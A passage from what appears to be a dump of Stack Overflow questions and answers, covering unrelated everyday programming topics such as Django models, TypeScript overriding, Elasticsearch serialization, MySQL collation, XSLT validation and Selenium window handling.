Owners&lt;/td&gt; &lt;td&gt; &lt;asp:TextBox ID="tbAdd_Sphone" runat="server" CssClass="tbAdd_Sphone" &gt;&lt;/asp:TextBox&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>Server side. </p> <pre><code>protected void tbAdd_Sowner_TextChanged(object sender, EventArgs e) { tbAdd_Sowner.Text = "123"; } </code></pre>
13640379	0	 <p>Why wont you override a method like this:</p> <pre><code>class ListIteratingSystem { execute() { this.executeOnStart(); }; private executeOnStart() { throw new Error('This method is abstract'); }; }; class MySystem extends ListIteratingSystem { constructor (/*...*/) { super(); } private executeOnStart() { alert("derived"); }; } </code></pre> <p>execution of <code>new MySystem().execute();</code> displays alert.</p> <p>Unfortunately there is no nice way to make <code>executeOnStart</code> method <code>protected abstract</code> yet. This is a little bit counterintuitive but remember that visibility accessors are only for compilator and intelisence.</p>
30845227	0	How to get simple ForeignKey model working? (a list of class in another class) <p>I tried to figure this out on my own :( couldn't quite get there. Pls take pity. . .</p> <p>I'm trying to represent exercise data (a start time an end time and many--an undetermined number of-- heart rates)</p> <p>this is the model I have set up:</p> <pre><code>class HeartRate(models.Model): timestamp = models.DateTimeField('Date and time recorded') heartrate = models.PositiveIntegerField(default=0) def __str__(self): return prettyDate(self.timestamp) class Exercise(models.Model): start_timestamp = models.DateTimeField('Starting time') finishing_timestamp = models.DateTimeField('Finishing time') heartrate = models.ForeignKey(HeartRate) </code></pre> <p>I know from working with the admin that it seems only one HeartRate is selected for each Exercise so maybe my approach is all wrong. How do I correctly model this? And once modeled correctly how do I query all heart rates for each (all) Exercises. I know this is a noob move but I really tried for hours getting this to work and can't quite get a handle on the documentation. Thanks in advance.</p>
27380903	0	 <p>Create a function which tries to find your text, and instead of raising an error, returns a string error message.</p> <pre><code>def safe_find(element, text, error_message): try: return element.find(text=re.compile(text)) except: return error_message </code></pre> <p>Then you can use this function to retrieve possibly missing fields, without any inline try-except clauses.</p> <pre><code>address = safe_find(house, '[0-9]{4}[ ]?[azAZ]{2}', "ERR No Address") </code></pre> <hr> <p>Edit: you could make the function slightly more extensible, accepting any parameter that <code>find</code> could take:</p> <pre><code>def safe_find(element, error_message, *args, **kargs): try: return element.find(*args, **kargs) except: return error_message safe_find(house, "ERR No Address", text=re.compile('[0-9]{4}[ ]?[azAZ]{2}')) safe_find(house, "ERR no street", "a", class_='object-street') safe_find(house, "ERR no street", "a", class_='object-street') safe_find(house, "ERR no number", 'span', title=re.compile('Number of')) safe_find(house, "ERR no WaitingFor", "span", title="WaitingFor") </code></pre> <p>... But you wouldn't be able to use this to access any attributes, such as <code>text</code> or <code>attrs['href']</code>.</p> <hr> <p>Edit edit: you could create a special object that has an error message for all the attributes you might possibly want to access.</p> <pre><code>import collections def safe_find(element, error_message, *args, **kargs): class FakeResult: def __init__(self, err): self.attrs = collections.defaultdict(lambda: err) self.text = err #todo: add other attributes here, like: #self.whatever = err try: return element.find(*args, **kargs) except: return FakeResult(error_message) safe_find(house, "ERR no street", "a", class_='object-street').text safe_find(house, "ERR no street", "a", class_='object-street').attrs['href'] safe_find(house, "ERR no number", 'span', title=re.compile('Number of')).text safe_find(house, "ERR no WaitingFor", "span", title="WaitingFor").text </code></pre> <p>However, this <em>only</em> works if you're going to access the <code>text</code> or <code>attrs</code> attributes. <code>safe_find(house, "ERR No Address", text=re.compile('[0-9]{4}[ ]?[azAZ]{2}'))</code> with no <code>.text</code> or <code>.attrs["stuff"]</code> following it will give you a FakeResult instance instead of a string.</p>
7696520	0	Why Javascript implementation of Bubble sort much faster than others sorting algorithms? <p>I have done some <a href="http://jsperf.com/sorting-algorithm-comparison" rel="nofollow">research</a> about Javascript sorting algorithms performance comparison, and found unexpected results. Bubble sort provided much better performance than others such as Shell sort, Quick sort and a native Javascript functionality. Why does this happen? Maybe I'm wrong in my performance testing method?</p> <p>You can find my research results <a href="http://jsperf.com/sorting-algorithm-comparison" rel="nofollow">here</a>.</p> <p>Here are some algorithm implementation examples:</p> <pre><code> /** * Bubble sort(optimized) */ Array.prototype.bubbleSort = function () { var n = this.length; do { var swapped = false; for (var i = 1; i &lt; n; i++ ) { if (this[i - 1] &gt; this[i]) { var tmp = this[i-1]; this[i-1] = this[i]; this[i] = tmp; swapped = true; } } } while (swapped); } /** * Quick sort */ Array.prototype.quickSort = function () { if (this.length &lt;= 1) return this; var pivot = this[Math.round(this.length / 2)]; return this.filter(function (x) { return x &lt; pivot }).quickSort().concat( this.filter(function (x) { return x == pivot })).concat( this.filter(function (x) { return x &gt; pivot }).quickSort()); } </code></pre>
28385256	0	 <p>Thanks guys for the quick replies..Gabriel response gave me a good insight. However I stuck to Raphael Santos response. ...However, if Gabriel could kindly elaborate the point a bit more please...ok here is the fixed code</p> <pre><code>typedef struct rem_info { char ufrag[80]; char pwd[80]; unsigned comp_cnt; pj_sockaddr def_addr[PJ_ICE_MAX_COMP]; unsigned cand_cnt; pj_ice_sess_cand cand[PJ_ICE_ST_MAX_CAND]; }rem_info; void reset_rem_info(rem_info *prem) { pj_bzero(prem, sizeof(rem_info)); } int main() { rem_info prem; reset_rem_info(&amp;prem); return 0; } </code></pre> <p>The change got rid of the warnings and the segmentation dump...</p> <p>THANKS A LOT GUYSSS</p>
28447009	0	 <p>The <code>OutOfMemoryException</code> is almost certainly coming from the JSON serialization of your <code>Customer</code> object. As such, the issue isn't one of NEST or Elasticsearch functionality, but of JSON.NET functionality.</p> <p>You could handle this in one of two ways:</p> <p><strong>1. Serialize the large object selectively</strong></p> <p><a href="http://james.newtonking.com/archive/2009/10/23/efficient-json-with-json-net-reducing-serialized-json-size" rel="nofollow">This article</a> by the author of JSON.NET discusses reducing the size of objects. You might furnish properties with the <a href="http://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_JsonIgnoreAttribute.htm" rel="nofollow">JsonIgnoreAttribute property</a> to instruct the serializer to ignore certain properties. Or an implementation of <a href="http://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_Serialization_IContractResolver.htm" rel="nofollow">IContractResolver</a> may be less intrusive on the definitions of your EF objects (especially given that they're database-first generated), but I'm not sure whether this can be used in conjunction with the NEST dependency on JSON.NET.</p> <p>If you're out of options for dealing with NEST's dependency on JSON.NET, you could always find another way to serialize your object and "go raw" by using the Elasticsearch.NET syntax instead of NEST (which essentially builds on-top of Elasticsearch.NET). So instead of a call to <code>ElasticClient.Index(..)</code>, make a call to <code>ElasticClient.Raw.Index(..)</code>, where the <code>body</code> parameter is a JSON string representation (of your own construction) of the object you wish to index.</p> <p><strong>2. Project the large object to a smaller data transfer object</strong></p> <p>Instead of indexing a <code>Customer</code> object, map only the properties you want to index into a data transfer object (DTO) that targets your Elasticsearch schema / document type.</p> <pre><code>foreach (Customer c in db.Customer.Where(a =&gt; a.Active == true)) client.Index(new MyElasticsearchTypes.Customer() { CustomerId = c.CustomerId, CustomerName = c.CustomerName, Description = c.Description }); </code></pre> <p>In C#, you've got a lot of options for how to handle creation of such a DTO, including:</p> <ol> <li>Explicitly typed objects with manual mapping (like my example).</li> <li>Explicitly typed objects with a mapping tool like <a href="https://www.nuget.org/packages/AutoMapper/" rel="nofollow">AutoMapper</a>.</li> <li>Dynamic objects.</li> </ol> <p><strong>Flat by design</strong></p> <p>Be aware that using Elasticsearch isn't a case of simply throwing your data into "the index". You need to start thinking in terms of "documents", and come to terms with what that means when you're trying to index data that has come from a relational database. The Elasticsearch guide article <a href="http://www.elasticsearch.org/guide/en/elasticsearch/guide/current/data-in-data-out.html" rel="nofollow">Data In, Data Out</a> is a good place to start reading. Another article called <a href="http://www.elasticsearch.org/blog/managing-relations-inside-elasticsearch/" rel="nofollow">Managing relations inside Elasticsearch</a> is particularly relevant to your situation:</p> <blockquote> <p>At it's heart, Elasticsearch is a flat hierarchy and trying to force relational data into it can be very challenging. Sometimes the best solution is to judiciously choose which data to denormalize, and where a second query to retrieve children is acceptable</p> </blockquote>
7595632	0	VS11 Dev Preview Unit Test Explorer doesn’t show Unit Tests <p>I wonder has anyone come across with this issue where the MSTest Unit Test doesn’t show up in the new Unit Test Explorer.</p> <p>I’m running Windows 7 (32bit). I downloaded the VS11 Developer Preview from the link below. <a href="http://www.microsoft.com/download/en/details.aspx?id=27543">http://www.microsoft.com/download/en/details.aspx?id=27543</a></p> <p>I created a sample C# Console App, and add the Test Library from the MSTest project template. Then I created a sample Unit Test, and rebuild the solution. When I open the Test Explorer (View->OtherWindows->UnitTest Explorer) I do not see any tests loaded.</p> <p>I only see a message saying… “No test discovered. Please build your project and ensure the appropriate test framework adapter is installed”.</p> <p>I assume the MSTest adapter is automatically installed. If not I’m not even sure how to install an adapter. </p> <p>I could be missing something here but I cannot figure it out. Has anyone experiencing this issue?</p>
24671738	0	 <p>To set the composer autoloader you can create a target as:</p> <pre><code>&lt;target name="require.autoload"&gt; &lt;adhoc&gt;&lt;![CDATA[ require_once 'lib/composer/autoload.php'; ]]&gt;&lt;/adhoc&gt; &lt;/target&gt; </code></pre> <p>Then all the targets that need autoloader, has this requirement</p> <pre><code> &lt;target name="test.coverage.html" depends="require.autoload"&gt; </code></pre> <p>Note: require once the file placed in</p> <pre><code>"config": { "vendor-dir": "lib/composer" </code></pre>
23352587	0	 <p>This is a <strong>ViewEngine</strong> Pattern. Both webforms as sjf use xhtml tags that render the html content in result</p>
26692442	0	 <p>To quote <a href="http://dev.mysql.com/doc/refman/5.5/en/case-sensitivity.html" rel="nofollow">the documentation</a>:</p> <blockquote> <p>The default character set and collation are latin1 and latin1_swedish_ci, so nonbinary string comparisons are case insensitive by default. This means that if you search with col_name LIKE 'a%', you get all column values that start with A or a. To make this search case sensitive, make sure that one of the operands has a case sensitive or binary collation. For example, if you are comparing a column and a string that both have the latin1 character set, you can use the COLLATE operator to cause either operand to have the latin1_general_cs or latin1_bin collation</p> </blockquote> <p>You can overcome this by explicitly using a case sensitive collation:</p> <pre><code>select * from names where name='Bill' COLLATE latin1_general_cs </code></pre>
1856992	0	 <p>Hey, someone has implemented a module to do this, and it works in Netbeans 6.5.1 - perfect for you. I'm hanging out to see an equivalent for 6.7.1. Maybe they should add it to 6.8!</p> <p><a href="http://wiki.netbeans.org/JavaGoToImplementation" rel="nofollow noreferrer">http://wiki.netbeans.org/JavaGoToImplementation</a></p> <p>Go To Implementation is built in for recent versions of NetBeans. Look in the Navigate context menu.</p>
13996296	0	 <p>Alternatively, if your implementation of <code>grep</code> supports it, you could use</p> <pre><code>grep -m 10 PATTERN FILE </code></pre> <p>Partial description from: <code>man grep</code> on Ubuntu 12.04</p> <pre><code>-m NUM, --max-count=NUM Stop reading a file after NUM matching lines. </code></pre> <p>This option was also available on my Red Hat 5.8 box where I was having a similar issue.</p>
5635065	0	 <p>Without knowing exactly how this should work I can say that you write outside of the <code>p</code> vector on </p> <pre><code> for (i=0; i &lt; rptr-&gt;n; i++) { lptr-&gt;keys[lptr-&gt;n + 1 + i] = rptr-&gt;keys[i]; // When you delete key 84, rptr-&gt;n is 4 at one point which takes you outside // p[M] lptr-&gt;p[lptr-&gt;n + 2 + i] = rptr-&gt;p[i+1]; } </code></pre> <p>Valgrind is a good tool to use, and I found this problem by <code>valgrind -v --leak-check=full &lt;your executable&gt;</code></p>
19059223	0	 <p>The error occurs because when the class body executes the Bid class object has not yet been created.</p> <p>You cannot have a model class contain a substructure of the same class -- it would result in infinite space. A StructuredProperty <em>physically</em> includes the fields of another model in the current model.</p> <p>So I recommend deleting the StructuredProperty line.</p> <p>You will then get a similar error on the KeyProperty line, but for KeyProperty it can be fixed by using a string ('Bid') instead of a direct class reference (Bid).</p> <p>You'll have to use outbyd_by_key.get() to access the bid's contents.</p>
31927790	0	Unable to Open/Install Git on Windows 10 <p>When I open the file I downloaded from <a href="https://git-scm.com/download" rel="nofollow">https://git-scm.com/download</a> and then Windows, nothing happens. I've tried running it as a normal user and administrator but nothing happens. Not even a processor in the Task Manager opens.</p> <p>What could cause this? Is it because Git hasn't been updated for Windows 10 yet, or is it something else? I just did a clean install of Windows 10.</p>
4441276	0	How do you make tooltip show up for longer in IE <p>i got the following</p> <pre><code>&lt;span id="pageLink" style="cursor:pointer;" onClick="...." title="&lt;%=pHelper.getNameToolTip()%&gt;"&gt; </code></pre> <p>in firefox the tooltip stays there until the mouse is moved, but in IE it only stays there for about 5seconds and disappears.</p> <p>is there a way to make it last longer?</p>
15398758	0	Having XML Validation / namespace issues using the IBM Processor for XSLT 2.0 <p>I'm receiving the following XML message from a third party vendor. I have no control over the incoming message. I've pared it down to it's simplest form while still producing the error. The XML message:</p> <pre><code>&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"&gt; &lt;soap:Header/&gt; &lt;soap:Body/&gt; &lt;/soap:Envelope&gt; </code></pre> <p>The xsl file I am using is:</p> <pre><code>&lt;xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt; &lt;xsl:import-schema namespace="http://schemas.xmlsoap.org/soap/envelope/" schema-location="http://schemas.xmlsoap.org/soap/envelope/" /&gt; &lt;xsl:template match="/"&gt; &lt;xsl:text&gt;Help&lt;/xsl:text&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>When I try to run the transformation within Eclipse using the IBM processor for XSLT 2.0 with the "Enable Validation" box checked, I get the following error during xml validation:</p> <pre><code>cvc-elt.1.a: Cannot find the declaration of element 'soap:Envelope' </code></pre> <p>Is there any way to make this pass validation even though I have no control over the incoming message? If I did have control over the incoming message I'd do this and it'd work wonderfully:</p> <pre><code>&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://schemas.xmlsoap.org/soap/envelope/ http://schemas.xmlsoap.org/soap/envelope/"&gt; &lt;soap:Header/&gt; &lt;soap:Body/&gt; &lt;/soap:Envelope&gt; </code></pre>
20310467	0	 <p>You want to </p> <p><em>If an item is "already" in t2, but NOT in t1 then I would like to avoid executing an INSERT statement.</em></p> <p>So insert should take place on negation of above statement i.e.</p> <p><em>item should not be in t2 and item should be present in t1</em></p> <pre><code>insert into target_table( column list ) select ( column list) from source_table where item not in (select item from t2) and item in (select item from t1) </code></pre> <p><em>what I meant was that if the article is NOT in t2, THEN I want to insert it into t1. Its pretty simple really</em> </p> <pre><code> insert into t1 ( &lt;column list&gt;) select &lt;column list&gt; from source_table where item not in (select item from t2) </code></pre> <p>You can use</p> <pre><code> IF NOT EXISTS (SELECT * FROM t2 WHERE item like '%'+@itemvalue+'%') BEGIN INSERT INTO t1 VALUES (@itemvalue) END </code></pre>
352969	0	 <p>These problems have always been caused by:</p> <ol> <li>Memory Problems</li> <li>Threading Problems</li> </ol> <p>To solve the problem, you should:</p> <ul> <li>Instrument your code (Add log statements)</li> <li>Code Review threading</li> <li>Code Review memory allocation / dereferencing</li> </ul> <p>The code reviews will most likely only happen if it is a priority, or if you have a strong suspicion about which code is shared by the multiple bug reports. If it's a threading issue, then check your thread safety - make sure variables accessable by both threads are protected. If it's a memory issue, then check your allocations and dereferences and especially be suspicious of code that allocates and returns memory, or code that uses memory allocation by someone else who may be releasing it.</p>
8375906	0	 <p><code>isset()</code> checks if a variable has a value including (False , 0 , or Empty string), but not <code>NULL</code>. Returns TRUE if var exists; FALSE otherwise.</p> <p>On the other hand the <code>empty()</code> function checks if the variable has an empty value empty string , 0, NULL ,or False. Returns FALSE if var has a non-empty and non-zero value.</p> <p>Hope this helped !</p>
39647011	0	VBA .Add Cells - Set start Cell location <p>I need this VBA to pull all file names, Link them and place them in column A2 and down in +1 increments</p> <pre><code>Sub GetFileNamesInfolder() Dim FSO As Object Dim Folder As Object Dim File As Object Dim Path As String Dim A As Integer Path = "\\server5\Operations\MainBoard testing central location DO NOT REMOVE or RENAME" Set FSO = CreateObject("Scripting.FileSystemObject") Set Folder = FSO.GetFolder(Path) For Each File In Folder.Files A = A + 1 ActiveSheet.Hyperlinks.Add Cells(A, 1), File.Path, , , File.Name Next End Sub </code></pre> <p>how would you approach this?</p>
2598891	0	 <p>So, my solution is:</p> <ol> <li>Intercept the onTouch event and calculate whether the page should change to the next or keep on the current</li> <li>Inherit from HorizontalScrollView and override the method computeScroll</li> </ol> <p>The method computeScroll the called to move the list. By default I suppose it's implemented to decelerate with a certain ratio... Since I don't want this motion, I just override it without specifing a body.</p> <p>The code for the event handler is:</p> <pre><code>_scrollView.setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { if(event.getAction() == MotionEvent.ACTION_UP) { float currentPosition = _scrollView.getScrollX(); float pagesCount = _horizontalBar.getChildCount(); float pageLengthInPx = _horizontalBar.getMeasuredWidth()/pagesCount; float currentPage = currentPosition/pageLengthInPx; Boolean isBehindHalfScreen = currentPage-(int)currentPage &gt; 0.5; float edgePosition = 0; if(isBehindHalfScreen) { edgePosition = (int)(currentPage+1)*pageLengthInPx; } else { edgePosition = (int)currentPage*pageLengthInPx; } _scrollView.scrollTo((int)edgePosition, 0); } return false; } }); </code></pre> <p>And in my inherited HorizontalScrollView</p> <pre><code>@Override public void computeScroll (){ return; } </code></pre>
17690658	0	 <p>You'll probably need to define a custom MessageContract for this operation. Check out the following link, specifically the section on "Using Arrays Inside Message Contracts" and the MessageHeaderArrayAttribute.</p> <p><a href="http://msdn.microsoft.com/en-us/library/ms730255.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms730255.aspx</a></p>
34800015	0	 <p>So if you only need to check that a new window is open:</p> <pre><code>int oldWindowCount = driver.getWindowHandles().size(); driver.findElement(&lt;By locator for hyperlink here&gt;).click(); int newWindowCount = driver.getWindowHandles().size(); Assert.assertEquals(1, newWindowCount - oldWindowCount); </code></pre> <p>Assuming you have no more than two windows open, if you want to switch between your current window and the new one:</p> <pre><code>String oldWindow = driver.getWindowHandle(); driver.findElement(&lt;By locator for hyperlink here&gt;).click(); for (String handle : driver.getWindowHandles()) { if (!handle.equals(oldWindow)) { driver.switchTo().window(handle); } } </code></pre>
2090466	0	 <p>Class-Path: ../relative/path_to_/mail.jar</p> <p>EDIT: Note: The relative path should be with reference from the directory where your program is starting.</p>
18985990	0	 <p>in your controller <code>UsersController</code>, in the <code>update</code> method, add the <code>address: :id</code> to the address permitted attributes. Like this:</p> <pre><code>params.require(:user).permit(:user_name, address_attributes: [:id, :street])) </code></pre>
31104469	0	System.Runtime.InteropServices.COMException: This command is not available because no document is open <p>I am using code below -I try to save <code>Word</code> document file as <code>.htm</code>. Can anybody solve this problem?</p> <pre><code>objWord.Documents.Open(ref FileName, ref readOnly, ref missing, ref missing, ref missing, ref missing,ref missing, ref missing, ref missing, ref missing, ref isVisible, ref missing, ref missing, ref missing,ref missing, ref missing); Document oDoc = objWord.ActiveDocument; oDoc.SaveAs(ref FileToSave, ref fltDocFormat, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing); </code></pre>
7702412	0	 <p>Not using eclipse sorry (but with Ant yes , see <a href="http://www.alittlemadness.com/2010/10/05/android-automated-build-versioning/" rel="nofollow">this</a>) , i know it can be boring to do that . But you don't release everyminute , no?</p> <p><strong>MODIFIED</strong></p> <p>Ant way , the use of <a href="http://ideoplex.com/id/17/using-ant-properties" rel="nofollow">Ant properties</a> </p> <p>Tomorrow i'll try to find more doc about if you need it</p>
16361638	0	Scala - weird behaviour with Iterator.toList <p>I am new to Scala and I have a function as follows:</p> <pre><code>def selectSame(messages: BufferedIterator[Int]) = { val head = messages.head messages.takeWhile(_ == head) } </code></pre> <p>Which is selecting from a buffered iterator only the elems matching the head. I am subsequently using this code:</p> <pre><code>val messageStream = List(1,1,1,2,2,3,3) if (!messageStream.isEmpty) { var lastTimeStamp = messageStream.head.timestamp while (!messageStream.isEmpty) { val messages = selectSame(messageStream).toList println(messages) } </code></pre> <p>Upon first execution I am getting (1,1,1) as expected, but then I only get the List(2), like if I lost one element down the line... Probably I am doing sth wrong with the iterators/lists, but I am a bit lost here.</p>
29529206	0	 <p>I went round in circles on this for ages. The answers are all in validatable as suggested by mrstif above. If you use the validatable module Devise works out of the box (with configuration options) allowing you to update user details without supplying a password so be <strong>very</strong> careful about rolling your own password validations.</p>
8003060	0	 <p>I'm using a HTC Tmobile G2, and I had the same problem while testing a GeoCoder based feature. A reboot helped, but that's not an acceptable solution when my customers start complaining about this. If this is some kind of cache clearing issue, then I hope a workaround can be put in place programmatically.</p>
2979587	0	 <p>Here is dirty, but working version of the script I came up with: </p> <pre><code>#!/bin/bash # Generates changelog day by day NEXT=$(date +%F) echo "CHANGELOG" echo ---------------------- git log --no-merges --format="%cd" --date=short | sort -u -r | while read DATE ; do echo echo [$DATE] GIT_PAGER=cat git log --no-merges --format=" * %s" --since=$DATE --until=$NEXT NEXT=$DATE done </code></pre>
22799757	0	PROJ4 command for printing to output file <p>I am working with Regional Climate data that were provided in a rotated pole grid format. Using PROJ4 I can convert these coordinates to lat/lon using this command line $ proj -m 57.295779506 +proj=ob_tran +o_proj=latlon +o_lon_p=83 +o_lat_p=42.5 +lon_0=180 I have created an ASCII file with the coordinates of all the grid cells ifile.txt and an empty file for the output ofile.txt</p> <p>When I use $ proj -m 57.295779506 +proj=ob_tran +o_proj=latlon +o_lon_p=83 +o_lat_p=42.5 +lon_0=180 ifile.txt ofile.txt</p> <p>I get the transformed coordinates printing to the screen but not to ofile.txt. Can someone suggest how I can fix my command line? </p> <p>Thank you for your time</p>
11054263	0	 <pre><code>import re # re.M means match across line boundaries # re.DOTALL means the . wildcard matches \n newlines as well pattern = re.compile('\\\\begin\{figure\}.*?\\\\end\{figure\}', re.M|re.DOTALL) # 'with' is the preferred way of opening files; it # ensures they are always properly closed with open("file1.tex") as inf, open("fileout.tex","w") as outf: for match in pattern.findall(inf.read()): outf.write(match) outf.write("\n\n") </code></pre> <p><strong>Edit:</strong> found the problem - not in the regex, but in the test text I was matching against (I forgot to escape the \b's in it).</p>
19919955	0	What is difference between JDK7u45 and Java7u21 <p>I am starting with android development and while setting up Eclipse SDK i got an error that Java Development Kit(JDK) or Java Runtime Environment is missing. I had <code>Java7 update 21</code> installed already. but now I downloaded JDK7u45 from Oracle site. <br> I want to know the difference between <code>Java 7</code> and <code>JDK 7</code> and also if I remove JAVA and install only JDK(as EclipseSDK is giving an error that JDK is missing) then will it make any difference in my desktop environment?</p>
33336850	0	Environment variables specified on app.yaml but it's not fetching on main.go <p>I've specified my environment variables in app.yaml and it's being fetched when I'm running it on my local machine but once I have it deployed - it's not fetching it. </p> <p>Here's how I've set it up:</p> <pre><code>application: some-application version: 1 runtime: go api_version: go1 threadsafe: true handlers: - url: /.* script: main.go secure: always env_variables: ENVIRONMENT_VAR1: 'some key' ENVIRONMENT_VAR2: 'some key' ENVIRONMENT_VAR3: 'some key' </code></pre> <p>And I'm using <code>os.Getenv("ENVIRONMENT_VAR1")</code> to retrieve the key and it works when I run it on my local but fails to work when deployed on google app engine. </p>
11641252	0	Getting size of styled UIWebView content - Not quite working <p>This seems like a common problem, but I'm unable find an adequate solution. I'm trying to re-size a bunch of UIWebViews to fit their content, but it doesn't seem to work properly. The best solution I've found so far is <a href="http://stackoverflow.com/a/3937599/304786">this answer</a>, but it only appears to work occasionally in my solution. The idea is to re-size the UIWebView in the <code>webViewDidFinishLoad:</code> delegate method. However, this still doesn't get the right size. If I trigger the update at some undefined time <em>after</em> <code>webViewDidFinishLoad:</code>, the content does get sized correctly.</p> <p>I will describe my situation below, and I'll paste relevant source on <a href="https://gist.github.com/3173830" rel="nofollow">Gist</a>. </p> <p><strong>Problem Description</strong></p> <p>I have a situation where I'm getting data from a JSON API and displaying the data in webviews. The API returns an array of objects, and each object has a "content" field with HTML-formatted text. The designers have given a structure which involved a (mostly) hidden view that you swipe up to reveal, which contains a scroll view of all the content, formatted in a very particular way.</p> <p>To implement this, I have three view controllers: The main view controller, the secondary view controller which you swipe up on the main view controller to reveal, and a tertiary view controller that displays one item of html-formatted content from the JSON API results.<br> The secondary view controller contains a UIScrollView and an array of tertiary view controllers. Each tertiary view controller contains a UIWebView to display the HTML-formatted content, and labels for displaying other attributes of the JSON object. Because the tertiary views will be displayed inside a UIScrollView in the secondary view, the tertiary views' UIWebView needs to be re-sized to fit its content and have user interaction disabled in order to prevent a confusing scroll-view-in-scroll-view scenario.</p> <p>The process to get all this to work is as follows: </p> <ol> <li>First, on the Primary controllers ViewDidLoad, load up and display the secondary view and an activity indicator so the UI does not appear to freeze</li> <li>Next, load the data from the JSON API</li> <li>When the data from the API has loaded (notified via a delegate), construct tertiary view controllers, set their attributes from the loaded data and add them to the secondary controller's list.</li> <li>Once that is finished, call the Secondary controller's setup method. This method loops through the list of tertiary controllers and calls their setup methods in turn </li> <li>Each tertiary controller's setup method sets the text for the labels and sets the content for the UIWebView using <code>loadHTMLString:</code> with a pre-defined html file's content, with the content of the JSON object substituted in.</li> <li><strong>On the tertiary controller's <code>webViewDidFinishLoad:</code> delegate method, using the method at <a href="http://stackoverflow.com/a/3937599/304786">this answer</a>, re-size the web view based on the content size.</strong></li> <li>Re-size the tertiary controller's view to fit the web view and position any labels that go underneath the web view</li> <li>The tertiary controller then calls a delegate method to notify the secondary controller that it has finished loading. The secondary controller keeps tabs on which of its tertiary controllers have finished loading.</li> <li>When all tertiary controllers are finished loading, the secondary controller loops through its list and adds the tertiary views to it's UIScrollView's content, adjusting frames and the content height as it goes.</li> </ol>
31775813	0	HTML sanitizing for my tinymce editor <p>I already have read a question about this here ... Now I know, that there are many libs, which allow me to sanitize my string...</p> <p><strong>The Problem</strong></p> <p>I use the TinyMCE editor for every text input on my website. Users can use HTML tags like <code>&lt;b&gt;</code>, <code>&lt;li&gt;</code>, <code>&lt;ol&gt;</code>, <code>&lt;p&gt;</code> and so on.</p> <p>I don't want to "allow" cross side scripting on my website, so I need a tool, which can filter the "bad" tags :)</p> <p>I want to use it like <code>$string = sanitize($string)</code>. It doesn't have to be exactly like this, but it should be easy to use ^^</p> <p>I already read about such tools, but I'm not sure which one is the best ...</p> <p>Suggestions would be great :)</p>
29997393	0	 <p>The reason your progressbar doesn't come back to the same position is this:</p> <pre><code>if (scroll &lt;= 28) { progressbar.style.top = "30px"; } </code></pre> <p>You are telling it that once you scroll, if the distance from the top is less than 28px it should go to 30px from the top while it starts at 0. Even if you start by scrolling 1px down it'll jump to 30px.</p>
18034247	0	 <p><a href="https://github.com/AutoMapper/AutoMapper" rel="nofollow">AutoMapper</a> is a decent library for such cases, didn't try it in huge lists, give it a try.</p>
37649292	0	 <p>You can use it this way: <a href="http://www.yiiframework.com/extension/yii2-helpers/" rel="nofollow">http://www.yiiframework.com/extension/yii2-helpers/</a></p> <p>Create a folder <code>/common/helpers/</code>, then create a helper class there and add your static methods.</p> <pre><code>namespace common\helpers; class DateHelper { public static function dt(){ return date('Y-m-d H:i:s'); } } </code></pre> <p>Usage</p> <pre><code>use common\helpers\DateHelper; echo DateHelper::dt(); </code></pre>
3367723	0	 <p>Because you want to <a href="http://stackoverflow.com/questions/2807241/what-does-the-expression-fail-early-mean-and-when-would-you-want-to-do-so">fail early</a>. The sooner you find out something's wrong, the sooner you can fix it.</p>
2910807	0	ModalPopupExtender with thumbnail and full size image <p>let me rewrite my question, I have a Ajax Accordion in my web site, Users can add images, in Accordion,I keep the thumbnail and fullsize image's path in Sql Server table, Users can see the thumbnail, and when they click the thumbnail, I use a ModalPopupExtender that open an asp panel to show the full size image, with progress image or preload bar </p> <p>What is the best way to achieve this?</p> <p>Thanks in advance </p>
36194886	0	Rrevisioning of node using workbench moderation module in Drupal 7 <p>Iam working on drupal 7 latest version. I have installed drupal workbench_moderation for node revision. I want to perform some task when admin reverts back the node to any older revision and publish the reverted node draft. Is there any event or hook when the reverted node is published in which i can write my functional code.</p> <p>If there is no hook for the same, then can you suggest any alternate method to perform the above task, i,e performing some task on publishing the reverted node.</p> <p>Regards Sandeep Prabhu</p>
37261781	0	 <p>The img tag inside "topbar-block" is referencing an image "flag.png" in the same directory as your .html file is. So make sure the image is in the same folder. The code seems correct otherwise.</p>
38117524	0	 <p>Yes you can, just create the object and call <code>confirm</code> on it :)</p> <p>However, as members will need a password to access their account, it could be nice to email them a link to enter this password, so this link could also confirm the account for you.</p> <p>IMHO, It's a bad practice to send any password by email, a lot of email servers don't implement any secured protocol, better let your users chose it, with a one-time link</p>
15614141	0	 <p>Without trying it out myself, my first guess would be that the transform on the UIImageView also transforms its frame. One way to solve that, would be to put the UIImageView in another UIView, and put that UIView in the UIScrollView. Your gesture recognizers and the transform would still be on the UIImageView. Make sure the UIView's clipsToBounds property is set to YES.</p>
37457491	0	 <p>I myself resoled the problem. source code versions of Pango and Glib has to be compatible with each other. I was using Glib-2.48 with Pango-1.40. I changed it with compatible set of these two packages(Glib-2.40 and Pango-1.15) and resolved the issue.</p>
4800974	0	 <p>OK, don't feel like leaving this open, so my "answer" is this: First, (sorry) Bengie and Hans just don't seem to understand that sure enough, a reentrant lock is malfunctioning. Second, I suspect that this is happening because of my use of reflection; somehow the context information they use to realize that the lock is being re-locked by the same thread is apparently being impacted.</p> <p>I'm going to fix this by changing my code to not hold the lock during the initial call; basically, I won't try to acquire this lock reentrantly.</p> <p>Others who run into this thread should be warned: as far as I can tell, I'm encountering what can only be a .NET bug. And it isn't very hard to provoke, either. </p>
15429843	0	 <pre><code>$('div.my-button').trigger('click') ; </code></pre>
